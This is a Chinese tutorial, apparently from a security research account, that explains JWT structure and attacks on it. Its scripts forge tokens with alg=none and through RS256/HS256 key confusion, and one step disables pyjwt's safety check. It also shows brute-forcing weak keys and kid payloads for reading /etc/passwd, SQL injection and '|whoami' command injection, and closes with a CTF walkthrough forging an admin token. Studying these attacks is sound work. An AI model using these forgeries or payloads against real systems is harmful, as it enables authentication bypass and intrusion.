JWT原理
JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。
{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2024年1月1日0点0分"
}
JWT的数据结构
实际的 JWT 大概就像下面这样。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644
它是一个很长的字符串,中间用点(.)分隔成三个部分。
Header(头部)
Payload(负载)
Signature(签名)
Header 部分是一个 JSON 对象,描述 JWT 的元数据,通常是下面的样子。
{
"alg": "HS256",
"typ": "JWT"
}
上面代码中,alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT。
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
除了官方字段,你还可以在这个部分定义私有字段,下面就是一个例子。
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}
注意,JWT 默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。这个 JSON 对象也要使用 Base64URL 算法转成字符串。
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用”点”(.)分隔,就可以返回给用户。
前面提到,Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。WT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。这就是 Base64URL 算法。
完整token生成,python安装pyjwt
pip install pyjwt
import jwt
key='secret_key'
encoded_jwt=jwt.encode({'username':'admin'},key,algorithm='HS256')
print(encoded_jwt)
print(jwt.decode(encoded_jwt,key,algorithms='HS256'))
运行结果
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.g0te4fe0-MjFyCTUVOjaq_ipV7em82cF06lzPOq3SkE'
{'username': 'admin'}
JWT的使用方式
客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。此后,客户端每次与服务器通信,都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求的头信息Authorization字段里面。
Authorization: Bearer <token>
另一种做法是,跨域的时候,JWT 就放在 POST 请求的数据体里面。
JWT的攻击方式
一些JWT 漏洞相关的源码: https://github.com/Sjord/jwtdemo/
01
敏感信息泄露
由于payload是使用base64url编码的,所以相当于明文传输,如果在payload中携带了敏感信息(如存放密钥对的文件路径),单独对payload部分进行base64url解码,就可以读取到payload中携带的信息。
02
加密算法篡改
空加密算法
JWT支持使用空加密算法,可以在header中指定alg为None
这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段
{
"alg" : "None",
"typ" : "jwt"
}
{
"user" : "Admin"
}
ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0
(header+’.’+payload,去掉了’.’+signature字段)
import base64
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
payload='{"username":"test"}'
header="{"alg":"none","typ":"JWT"}"
print b64urlencode(header) + '.'+ b64urlencode(payload)+ '.'
或者
import jwt
data={
"username":"test"
}
print(jwt.encode(data,"",algorithm='none'))
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3QifQ.
将output的字符串放入到
HS256算法使用密钥为所有消息进行签名和验证,对称密码算法。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证,非对称密码算法。
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。
示例:
RSA公钥:
http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem
import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
直接运行如上代码的会报错,pyjwt进行了判断。
def prepare_key(self, key):
key = force_bytes(key)
invalid_strings = [
b'-----BEGIN PUBLIC KEY-----',
b'-----BEGIN CERTIFICATE-----',
b'-----BEGIN RSA PUBLIC KEY-----',
b'ssh-rsa'
]
if any([string_value in key for string_value in invalid_strings]):
raise InvalidKeyError(
'The specified key is an asymmetric key or x509 certificate and'
' should not be used as an HMAC secret.')
return key
prepare_key会判断是否有非法字符,简单粗暴的注释掉
def prepare_key(self, key):
key = force_bytes(key)
invalid_strings = [
b'-----BEGIN PUBLIC KEY-----',
b'-----BEGIN CERTIFICATE-----',
b'-----BEGIN RSA PUBLIC KEY-----',
b'ssh-rsa'
]
#if any([string_value in key for string_value in invalid_strings]):
#raise InvalidKeyError(
# 'The specified key is an asymmetric key or x509 certificate and'
# ' should not be used as an HMAC secret.')
return key
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF
NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c
1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+
H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f
ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw
2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF
KwIDAQAB
-----END PUBLIC KEY-----
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoidGVzdCJ9.c-yX20a99ofP2yImxNn3vMtOgRvYqM4Xs8AZBMZ1aug
03
爆破HS256密钥
-
知悉JWT使用的加密算法 -
一段有效的、已签名的token -
签名用的密钥不复杂(弱密钥)
相关爆破工具:
-
c-jwt-cracker:https://github.com/brendan-rius/c-jwt-cracker
-
JWTPyCrack:https://github.com/Ch1ngg/JWTPyCrack
04
修改KID参数
kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/home/jwt/.ssh/pem"
}
05
任意文件读取
kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}
06
SQL注入
kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || union select 'secretkey' -- "
}
07
命令注入
对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。
"/path/to/key_file|whoami"
08
修改JKU/X5U参数
JKU的全称是”JSON Web Key Set URL”,用于指定一组用于验证令牌的密钥的URL。类似于kid,JKU也可以由用户指定输入数据,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。X5U则以URI的形式数允许攻击者指定用于验证令牌的公钥证书或证书链,与JKU的攻击利用方式。
例题
01
[CISCN2019 华北赛区 Day1 Web2] ikun
首页提示 ikun们冲鸭,一定要买到lv6!!!,一直点击下一页,没有找到lv6,写个脚本寻找一下
from time import sleep
import requests
url="http://fe7b0375-7ea6-429f-bb30-8f39d45b0ab4.node3.buuoj.cn/shop?page="
for i in range(0,500):
r=requests.get(url+str(i))
sleep(0.3)
if 'lv6.png' in r.text:
print(i)
break
可以找到lv6在181页中,进去查看后,发现要1145141919.0。随便测试一个test账号,账户余额1000元,远远不足。
import jwt
data={
"username":"test"
}
print(jwt.encode(data,"",algorithm='none'))
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3QifQ.
将生成的jwt字符串替换掉cookie原来的jwt,访问服务器报错失败
得到secret为1Kun
import jwt
payload={
"username":"admin"
}
secret="1Kun"
print(jwt.encode(payload,secret,algorithm="HS256"))
output:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
原文始发于微信公众号(山石网科安全技术研究院):揭示JWT开放标准的认证安全问题
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论